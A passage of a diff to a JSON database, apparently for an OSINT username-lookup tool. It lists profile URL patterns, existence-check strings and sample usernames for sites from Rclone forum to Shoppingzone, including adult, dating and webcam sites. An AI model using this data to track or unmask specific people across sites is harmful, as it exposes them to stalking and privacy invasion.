"noonewouldeverusethis7" + }, + "RcloneForum": { + "checkType": "status_code", + "url": "https://forum.rclone.org/u/{username}", + "usernameClaimed": "ncw", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Realmeye": { + "tags": [ + "gaming" + ], + "regexCheck": "^[a-zA-Z]+$", + "checkType": "message", + "absenceStrs": [ + "Sorry, but we either:" + ], + "alexaRank": 63145, + "urlMain": "https://www.realmeye.com/", + "url": "https://www.realmeye.com/player/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Redbubble": { + "tags": [ + "shopping", + "us" + ], + "checkType": "status_code", + "alexaRank": 925, + "urlMain": "https://www.redbubble.com/", + "url": "https://www.redbubble.com/people/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Redcafe": { + "tags": [ + "forum", + "gb", + "sg", + "us" + ], + "engine": "XenForo", + "alexaRank": 98399, + "urlMain": "https://www.redcafe.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Reddit": { + "tags": [ + "discussion", + "news" + ], + "checkType": "message", + "absenceStrs": [ + "Sorry, nobody on Reddit goes by that name." + ], + "presenseStrs": [ + "Post karma" + ], + "alexaRank": 19, + "urlMain": "https://www.reddit.com/", + "url": "https://www.reddit.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Redorchestra": { + "urlSubpath": "/forums", + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 6984586, + "urlMain": "http://www.redorchestra.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Redtube": { + "tags": [ + "porn", + "us" + ], + "checkType": "status_code", + "alexaRank": 1090, + "urlMain": "https://ru.redtube.com/", + "url": "https://ru.redtube.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Reibert": { + "tags": [ + "forum", + "ru", + "ua" + ], + "engine": "XenForo", + "alexaRank": 136697, + "urlMain": "https://reibert.info/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Reincarnationforum": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 3388631, + "urlMain": "http://reincarnationforum.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Reisefrage": { + "checkType": "status_code", + "url": "https://www.reisefrage.net/nutzer/{username}", + "usernameClaimed": "reisefrage", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ReligiousForums": { + "tags": [ + "forum" + ], + "engine": "XenForo", + "alexaRank": 930728, + "urlMain": "https://www.religiousforums.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RenaultFanClub": { + "disabled": true, + "tags": [ + "forum", + "tr" + ], + "engine": "vBulletin", + "alexaRank": 410980, + "urlMain": "http://www.renaultfanclub.com", + "usernameClaimed": "mashar", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Repl.it": { + "tags": [ + "coding", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "404" + ], + "alexaRank": 7808, + "urlMain": "https://repl.it/", + "url": "https://repl.it/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ResearchGate": { + "tags": [ + "in", + "us" + ], + "regexCheck": "\\w+_\\w+", + "checkType": "response_url", + "alexaRank": 143, + "urlMain": "https://www.researchgate.net/", + "url": "https://www.researchgate.net/profile/{username}", + "errorUrl": "https://www.researchgate.net/directory/profiles", + "usernameClaimed": "John_Smith", + "usernameUnclaimed": "noonewould_everusethis7" + }, + "ResidentAdvisor": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "You need to be logged in to view the profile" + ], + "absenceStrs": [ + "Forgot your password?" + ], + "alexaRank": 167880, + "urlMain": "https://www.residentadvisor.net", + "url": "https://www.residentadvisor.net/profile/{username}", + "usernameClaimed": "uncle_ohm", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Revelation": { + "urlSubpath": "/forums", + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 49, + "urlMain": "https://rev.mail.ru", + "usernameClaimed": "wizard", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ReverbNation": { + "tags": [ + "us" + ], + "errors": { + "But your computer or network appears to be generating a lot of automated requests": "Too many requests" + }, + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Sorry, we couldn't find that page" + ], + "alexaRank": 7637, + "urlMain": "https://www.reverbnation.com/", + "url": "https://www.reverbnation.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Riftgame": { + "tags": [ + "cr", + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 117470, + "urlMain": "http://forums.riftgame.com", + "url": "http://forums.riftgame.com/members/{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rigcz.club": { + "checkType": "message", + "absenceStrs": [ + "The page you are looking for isn't here." + ], + "presenseStrs": [ + "@rigcz.club" + ], + "url": "https://rigcz.club/@{username}", + "usernameClaimed": "blazej", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rlocman": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "https://www.rlocman.ru", + "usernameClaimed": "elnat", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 147676 + }, + "Rmmedia": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 123397, + "urlMain": "https://rmmedia.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rngf": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "urlMain": "http://www.rngf.ru/", + "url": "http://www.rngf.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7103394 + }, + "Ro-ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 445437, + "urlMain": "https://ro-ru.ru", + "url": "https://ro-ru.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "set", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Roblox": { + "tags": [ + "gaming", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Page cannot be found or no longer exists" + ], + "alexaRank": 115, + "urlMain": "https://www.roblox.com/", + "url": "https://www.roblox.com/user.aspx?username={username}", + "usernameClaimed": "bluewolfekiller", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Roboforum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1401231, + "urlMain": "http://roboforum.ru", + "url": "http://roboforum.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "sned", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rodgersforum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "alexaRank": 110740, + "urlMain": "https://rodgersforum.borda.ru", + "url": "https://rodgersforum.borda.ru/?32-{username}", + "usernameClaimed": "hata1979", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rollitup": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 59573, + "urlMain": "https://www.rollitup.org", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RomanticCollection": { + "tags": [ + "ru" + ], + "errors": { + "\u0412\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043f\u043e\u0438\u0441\u043a \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e": "Too many requests" + }, + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 72982, + "urlMain": "https://www.romanticcollection.ru", + "url": "https://www.romanticcollection.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "Prim@", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Root-me": { + "tags": [ + "hacking", + "in", + "ir", + "pk", + "us" + ], + "errors": { + "429 Too Many Requests": "Too many requests" + }, + "checkType": "status_code", + "presenseStrs": [ + "Mes informations" + ], + "alexaRank": 236183, + "urlMain": "https://www.root-me.org", + "url": "https://www.root-me.org/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rottentomatoes": { + "tags": [ + "movies", + "us" + ], + "checkType": "status_code", + "alexaRank": 602, + "urlMain": "https://www.rottentomatoes.com", + "url": "https://www.rottentomatoes.com/critic/{username}/movies", + "usernameClaimed": "ben-allen", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rovlpj": { + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "XenForo", + "alexaRank": 8416642, + "urlMain": "https://rovlpj.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "RoyalCams": { + "tags": [ + "gr", + "in", + "ng", + "ru", + "us", + "webcam" + ], + "checkType": "status_code", + "alexaRank": 134095, + "urlMain": "https://royalcams.com", + "url": "https://royalcams.com/profile/{username}", + "usernameClaimed": "asuna-black", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Rpgwatch": { + "urlSubpath": "/forums", + "disabled": true, + "tags": [ + "ca", + "forum", + "in", + "ru", + "us" + ], + "engine": "vBulletin", + "alexaRank": 313871, + "urlMain": "https://www.rpgwatch.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ru-sfera": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "urlMain": "https://ru-sfera.org", + "url": "https://ru-sfera.org/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ruby.dating": { + "checkType": "message", + "absenceStrs": [ + "We can\u2019t find that user" + ], + "presenseStrs": [ + "Looks for:" + ], + "url": "https://ruby.dating/en/users/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ruby-forum": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 101041, + "urlMain": "https://www.ruby-forum.com", + "usernameClaimed": "tomconnolly", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RubyGems": { + "tags": [ + "coding" + ], + "checkType": "status_code", + "alexaRank": 42509, + "urlMain": "https://rubygems.org/", + "url": "https://rubygems.org/profiles/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rugby-forum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "status_code", + "alexaRank": 7939583, + "urlMain": "http://rugby-forum.ru", + "url": "http://rugby-forum.ru/polzovateli/{username}/", + "usernameClaimed": "bold", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rumblechannel": { + "checkType": "message", + "presenseStrs": [ + "href=https://rumble.com/c/" + ], + "absenceStrs": [ + "404 - Not found" + ], + "url": "https://rumble.com/c/{username}", + "usernameClaimed": "HodgeTwins", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rumbleuser": { + "checkType": "message", + "presenseStrs": [ + "href=https://rumble.com/user/" + ], + "absenceStrs": [ + "404 - Not found" + ], + "url": "https://rumble.com/user/{username}", + "usernameClaimed": "SimonParkes", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Runescape": { + "checkType": "message", + "presenseStrs": [ + "activities" + ], + "absenceStrs": [ + "{\"error\":\"NO_PROFILE\",\"loggedIn\":\"false\"}" + ], + "url": "https://apps.runescape.com/runemetrics/profile/profile?user={username}", + "usernameClaimed": "Blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Runitonce": { + "tags": [ + "ca", + "us" + ], + "checkType": "response_url", + "alexaRank": 223505, + "urlMain": "https://www.runitonce.com/", + "url": "https://www.runitonce.com/users/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Runnersworld": { + "tags": [ + "forum", + "sport" + ], + "checkType": "status_code", + "alexaRank": 562069, + "urlMain": "https://forums.runnersworld.co.uk/", + "url": "https://forums.runnersworld.co.uk/profile/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rusarmy": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0434\u0440\u0443\u0433\u043e\u0435 \u0438\u043c\u044f." + ], + "alexaRank": 311365, + "urlMain": "http://www.rusarmy.com", + "url": "http://www.rusarmy.com/forum/members/?username={username}", + "usernameClaimed": "vtsp1", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rusfishing": { + "disabled": true, + "ignore403": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 85070, + "urlMain": "https://www.rusfishing.ru", + "url": "https://www.rusfishing.ru/forum/members/?username={username}", + "usernameClaimed": "ale8443", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rusforum": { + "tags": [ + "forum", + "in", + "pk", + "ru", + "ua" + ], + "disabled": true, + "engine": "vBulletin", + "alexaRank": 491084, + "urlMain": "https://www.rusforum.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RussianFI": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 213923, + "urlMain": "http://www.russian.fi/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rust-lang": { + "tags": [ + "coding", + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 29188, + "urlMain": "https://users.rust-lang.org", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rutracker": { + "tags": [ + "ru", + "torrent" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "presenseStrs": [ + "\u041f\u0440\u043e\u0444\u0438\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "alexaRank": 495, + "urlMain": "https://rutracker.org/", + "mirrors": [ + "https://rutracker.org/", + "http://37.1.216.121/" + ], + "url": "{urlMain}forum/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "S-forum": { + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found. Please enter a member's entire name" + ], + "alexaRank": 674575, + "urlMain": "https://s-forum.biz", + "url": "https://s-forum.biz/members/?username={username}", + "usernameClaimed": "ducat", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "SakhalinName": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "reputation_graf", + "\u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d" + ], + "absenceStrs": [ + "afisha_list" + ], + "alexaRank": 861080, + "urlMain": "https://sakhalin.name/", + "url": "https://sakhalin.name/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Salon24.pl": { + "checkType": "message", + "presenseStrs": [ + "Strona g\u0142\u00f3wna" + ], + "absenceStrs": [ + "Salon24 - blogi, newsy, opinie i komentarze" + ], + "url": "https://www.salon24.pl/u/{username}/", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Samlib": { + "tags": [ + "gb", + "ru", + "writing" + ], + "checkType": "status_code", + "alexaRank": 25741, + "urlMain": "http://samlib.ru/", + "url": "http://samlib.ru/e/{username}", + "caseSentitive": true, + "usernameClaimed": "e_melokumow", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Saracartershow": { + "checkType": "message", + "absenceStrs": [ + "Home |" + ], + "presenseStrs": [ + "Stories By" + ], + "url": "https://saraacarter.com/author/{username}/", + "usernameClaimed": "annaliese", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SatsisInfo": { + "tags": [ + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 476954, + "urlMain": "https://satsis.info/", + "url": "https://satsis.info/user/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sbazar.cz": { + "tags": [ + "cz", + "shopping" + ], + "checkType": "status_code", + "alexaRank": 19898, + "urlMain": "https://www.sbazar.cz/", + "url": "https://www.sbazar.cz/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Sbnation": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 2321, + "urlMain": "https://www.sbnation.com", + "url": "https://www.sbnation.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Scala-lang": { + "tags": [ + "coding", + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 51889, + "urlMain": "https://users.scala-lang.org", + "usernameClaimed": "sjrd", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Schlock": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 115065, + "urlMain": "https://schlock.ru/", + "url": "https://schlock.ru/author/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "School-school": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 585798, + "urlMain": "https://school-school.ru", + "url": "https://school-school.ru/user/{username}", + "usernameClaimed": "nunny_zn", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Scorcher": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 7639, + "urlMain": "https://www.glavbukh.ru", + "url": "https://www.glavbukh.ru/forum/member.php/?username={username}", + "usernameClaimed": "poli888", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Scoutwiki": { + "checkType": "message", + "absenceStrs": [ + "is not registered" + ], + "presenseStrs": [ + "NewPP limit report" + ], + "url": "https://en.scoutwiki.org/User:{username}", + "usernameClaimed": "Benjism89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Scratch": { + "tags": [ + "coding", + "us" + ], + "checkType": "status_code", + "alexaRank": 541, + "urlMain": "https://scratch.mit.edu/", + "url": "https://scratch.mit.edu/users/{username}", + "usernameClaimed": "griffpatch", + "usernameUnclaimed": "noonewould" + }, + "Screwfix": { + "tags": [ + "forum", + "gb" + ], + "engine": "XenForo", + "alexaRank": 8593, + "urlMain": "https://community.screwfix.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Scribd": { + "tags": [ + "reading" + ], + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "errors": { + "This page is unavailable": "Site censorship" + }, + "alexaRank": 256, + "urlMain": "https://www.scribd.com/", + "url": "https://www.scribd.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Seatracker": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 223866, + "urlMain": "https://seatracker.ru/", + "url": "https://seatracker.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Seneporno": { + "checkType": "message", + "absenceStrs": [ + "Unexpected error! Please contact us and tell us more how you got to this page!" + ], + "presenseStrs": [ + "Dernier Login" + ], + "url": "https://seneporno.com/user/{username}", + "usernameClaimed": "Boymariste", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SeoClerks": { + "tags": [ + "in", + "jp", + "us" + ], + "checkType": "response_url", + "alexaRank": 7864, + "urlMain": "https://www.seoclerks.com", + "url": "https://www.seoclerks.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Serveradmin": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "Not Found" + ], + "alexaRank": 166278, + "urlMain": "https://serveradmin.ru/", + "url": "https://serveradmin.ru/author/{username}", + "usernameClaimed": "fedor", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Setlist": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 43166, + "urlMain": "https://www.setlist.fm", + "url": "https://www.setlist.fm/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SevSocium": { + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 7877321, + "urlMain": "http://forum.sevsocium.com", + "usernameClaimed": "vitaline", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "SevenForums": { + "tags": [ + "forum", + "gb", + "us" + ], + "engine": "vBulletin", + "alexaRank": 23957, + "urlMain": "https://www.sevenforums.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sevportal": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1726901, + "urlMain": "https://www.sevportal.info", + "url": "https://www.sevportal.info/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "DarkWillow", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sex-forum": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "http://www.sex-forum.xxx", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sexforum.ws": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 1834364, + "urlMain": "http://sexforum.ws", + "usernameClaimed": "katrin1988", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "SexforumIXBB": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 420919, + "urlMain": "http://sexforum.ixbb.ru", + "url": "http://sexforum.ixbb.ru/search.php?action=search&keywords=&author={username}", + "usernameClaimed": "lcf", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sexopedia": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "alexaRank": 6491400, + "urlMain": "http://new.sexopedia.ru", + "url": "http://new.sexopedia.ru/club/search.php?flt_login={username}", + "usernameClaimed": "Ikzu", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Sexwin": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 5812338, + "urlMain": "https://sexforum.win", + "url": "https://sexforum.win/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "foks67", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sfd.pl": { + "checkType": "message", + "absenceStrs": [ + "Brak aktywnego profilu na forum" + ], + "presenseStrs": [ + "Tematy u\u017cytkownika" + ], + "url": "https://www.sfd.pl/profile/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Shazoo": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 57278, + "urlMain": "https://shazoo.ru", + "url": "https://shazoo.ru/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ShaniiWrites": { + "checkType": "message", + "absenceStrs": [ + "The requested URL or resource could not be found." + ], + "presenseStrs": [ + "topics" + ], + "url": "https://forum.shanniiwrites.com/u/{username}/summary.json", + "usernameClaimed": "chococarmela", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ShiftDelete": { + "disabled": true, + "tags": [ + "forum", + "tr" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36" + }, + "engine": "XenForo", + "alexaRank": 2456, + "urlMain": "https://forum.shiftdelete.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Shikimori": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 20872, + "urlMain": "https://shikimori.one", + "url": "https://shikimori.one/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ShitpostBot5000": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 924499, + "urlMain": "https://www.shitpostbot.com/", + "url": "https://www.shitpostbot.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Shoe": { + "checkType": "message", + "presenseStrs": [ + "can only be viewed by SHOE members" + ], + "absenceStrs": [ + "This nickpage is temporary not available or no longer exists." + ], + "urlMain": "http://shoe.org", + "url": "http://{username}.shoe.org/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 6235117 + }, + "Shophelp": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 348270, + "urlMain": "https://shophelp.ru/", + "url": "https://shophelp.ru/profile/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Shoppingzone": { + "tags": [ + "ru" + ], + "errors": { + "\u0412\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043f\u043e\u0438\u0441\u043a \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e": "Too many searhes per IP" + }, + 